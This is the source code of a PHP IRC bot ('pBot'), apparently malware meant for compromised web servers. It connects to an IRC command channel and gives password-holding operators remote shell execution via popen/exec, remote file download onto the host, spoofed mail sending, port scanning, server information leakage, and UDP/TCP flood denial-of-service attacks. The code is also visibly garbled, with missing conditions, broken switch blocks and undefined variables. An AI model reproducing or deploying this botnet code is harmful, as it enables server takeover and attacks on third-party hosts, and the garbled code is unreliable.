<?
class pBot
{
var $config = array("server"=>"master.indoirc.net",
"port"=>6667,
"pass"=>"", //
"prefix"=>"2K|",
"maxrand"=>7,
"chan"=>"#me",
"key"=>"142536", //
"modes"=>"-x+i",
"password"=>"al", //
"trigger"=>"!say@",
"hostauth"=>"BruteForce.Al" // *
);
function start()
{
if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30
)))
$this->start();
$ident = "";
for($i=0;$i<$this->config['maxrand'];$i++)
$ident .= $alph[rand(0
,25
)];
if(strlen($this->config['pass'])>0
)
$this->send("PASS ".$this->config['pass']);
$this->send("USER $ident 127.0.0.1 localhost :$ident");
$this->set_nick();
$this->main();
}
function main()
{
while(!feof($this->conn))
{
if(substr($this->buf,0,6)=="PING :")
{
$this->send("PONG :".substr($this->buf,6
));
}
if(isset($cmd[1
]) && $cmd[1] =="001")
{
$this->send("MODE ".$this->nick." ".$this->config['modes']);
$this->join($this->config['chan'],$this->config['key']);
}
if(isset($cmd[1
]) && $cmd[1]=="433")
{
$this->set_nick();
}
if($this->buf != $old_buf)
{
$vhost = $vhost[1];
$host = $cmd[0];
if($msgcmd[0]==$this->nick)
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i+1];
}
else
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i];
}
{
switch($cmd[1])
{
case "QUIT":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PART":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PRIVMSG":
if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
{
{
{
case "user":
if($mcmd[1]==$this->config['password'])
{
$this->privmsg($this->config['chan'],"[\2Alb\2]: Password accepted.");
$this->log_in($host);
}
else
{
$this->privmsg($this->config['chan'],"[\2Alb\2]: Password incorect.");
}
break;
}
}
}
elseif($this->is_logged_in($host))
{
{
{
case "restart":
$this->send("QUIT :restart");
$this->start();
break;
case "mail": //mail to from subject message
{
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1
],$mcmd[3
],strstr($msg,$mcmd[4
]),$header))
{
$this->privmsg($this->config['chan'],"[\2MAIL\2]: Was Unable to send");
}
else
{
$this->privmsg($this->config['chan'],"[\2MAIL\2]: Message have been sent to \2".$mcmd[1]."\2");
}
}
break;
case "dns":
{
{
$this->privmsg($this->config['chan'],"[\2DNS\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1
]));
}
else
{
$this->privmsg($this->config['chan'],"[\2DNS\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1
]));
}
}
break;
case "info":
$this->privmsg($this->config['chan'],"[\2INFO\2]: [\2httpd\2: ".$_SERVER['SERVER_SOFTWARE']."] [\2docroot\2: ".$_SERVER['DOCUMENT_ROOT']."] [\2domain\2: ".$_SERVER['SERVER_NAME']."] [\2admin\2: ".$_SERVER['SERVER_ADMIN']."] [\2url\2:".$_SERVER['REQUEST_URI']."]");
break;
case "cmd":
{
$this->privmsg($this->config['chan'],"[\2cmd\2]: $command");
$pipe = popen($command,"r");
{
if($pbuf != NULL)
$this->privmsg($this->config['chan']," : $pbuf");
}
}
break;
case "rndnick":
$this->set_nick();
break;
case "raw":
$this->send(strstr($msg,$mcmd[1
]));
break;
case "php":
break;
case "exec":
$this->privmsg($this->config['chan'],"[\2EXEC\2]: $command");
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "pscan": // .pscan 127.0.0.1 6667
{
$this->privmsg($this->config['chan'],"[\2pSCAN\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
else
$this->privmsg($this->config['chan'],"[\2pSCAN\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
}
break;
case "ud.server": // .udserver <server> <port> [password]
{
$this->config['server'] = $mcmd[1];
$this->config['port'] = $mcmd[2];
{
$this->config['pass'] = $mcmd[3];
$this->privmsg($this->config['chan'],"[\2UPDATE\2]: Server was Changed to ".$mcmd[1].":".$mcmd[2]." Pass: ".$mcmd[3]);
}
else
{
$this->privmsg($this->config['chan'],"[\2UPDATE\2]: Server was Changed to ".$mcmd[1].":".$mcmd[2]);
}
}
break;
case "download":
{
if(!$fp = fopen($mcmd[2],"w"))
{
$this->privmsg($this->config['chan'],"[\2DOWNLOAD\2]: Can not download, permission denied.");
}
else
{
if(!$get = file($mcmd[1
]))
{
$this->privmsg($this->config['chan'],"[\2DOWNLOAD\2]: Unable to download from \2".$mcmd[1]."\2");
}
else
{
for($i=0;$i<=count($get);$i++)
{
}
$this->privmsg($this->config['chan'],"[\2DOWNLOAD\2]: File \2".$mcmd[1]."\2 was downloaded to \2".$mcmd[2]."\2");
}
}
}
break;
case "die":
$this->send("QUIT :die command from $nick");
case "logout":
$this->log_out($host);
$this->privmsg($this->config['chan'],"[\2Alb\2]: $nick Password have been logged out");
break;
case "udpflood":
{
$this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
}
break;
case "tcpflood":
{
$this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
}
break;
}
}
}
break;
}
}
}
$old_buf = $this->buf;
}
$this->start();
}
function send($msg)
{
fwrite($this->conn,"$msg\r\n");
}
function join($chan,$key=NULL)
{
$this->send("JOIN $chan $key");
}
function privmsg($to,$msg)
{
$this->send("PRIVMSG $to :$msg");
}
function is_logged_in($host)
{
if(isset($this->users[$host]))
return 1;
else
return 0;
}
function log_in($host)
{
$this->users[$host] = true;
}
function log_out($host)
{
unset($this->users[$host]);
}
function set_nick()
{
if(isset($_SERVER['SERVER_SOFTWARE']))
{
$this->nick = "|LIN|00|";
$this->nick = "|LIN|01|";
$this->nick = "|UBU|02|";
else
$this->nick = "|SLC|03|";
}
else
{
$this->nick = "|04|8K|";
}
$this->nick .= $this->config['prefix'];
for($i=0;$i<$this->config['maxrand'];$i++)
$this->send("NICK ".$this->nick);
}
function udpflood($host,$packetsize,$time) {
$this->privmsg($this->config['chan'],"[\2UDP\2]: Attacking $host for $time seconds with $packetsize Kb packets");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1
,256
)); }
$i = 0;
while(time()-$timei < $time) {
$i++;
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$this->privmsg($this->config['chan'],"[\2UDP\2]: Finished attack: $env MB sented Attacked speed: $vel MB/s ");
}
function tcpflood($host,$packets,$packetsize,$port,$delay)
{
$this->privmsg($this->config['chan'],"[\2TCP\2]: Sending $packets packets to $host:$port. Packet size: $packetsize");
$packet = "";
for($i=0;$i<$packetsize;$i++)
for($i=0;$i<$packets;$i++)
{
if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5
))
{
$this->privmsg($this->config['chan'],"[\2TCP\2]: Error: <$e>");
return 0;
}
else
{
}
}
$this->privmsg($this->config['chan'],"[\2TCP\2]: Finished sending $packets packets to $host:$port.");
}
}
$bot = new pBot;
$bot->start();
?>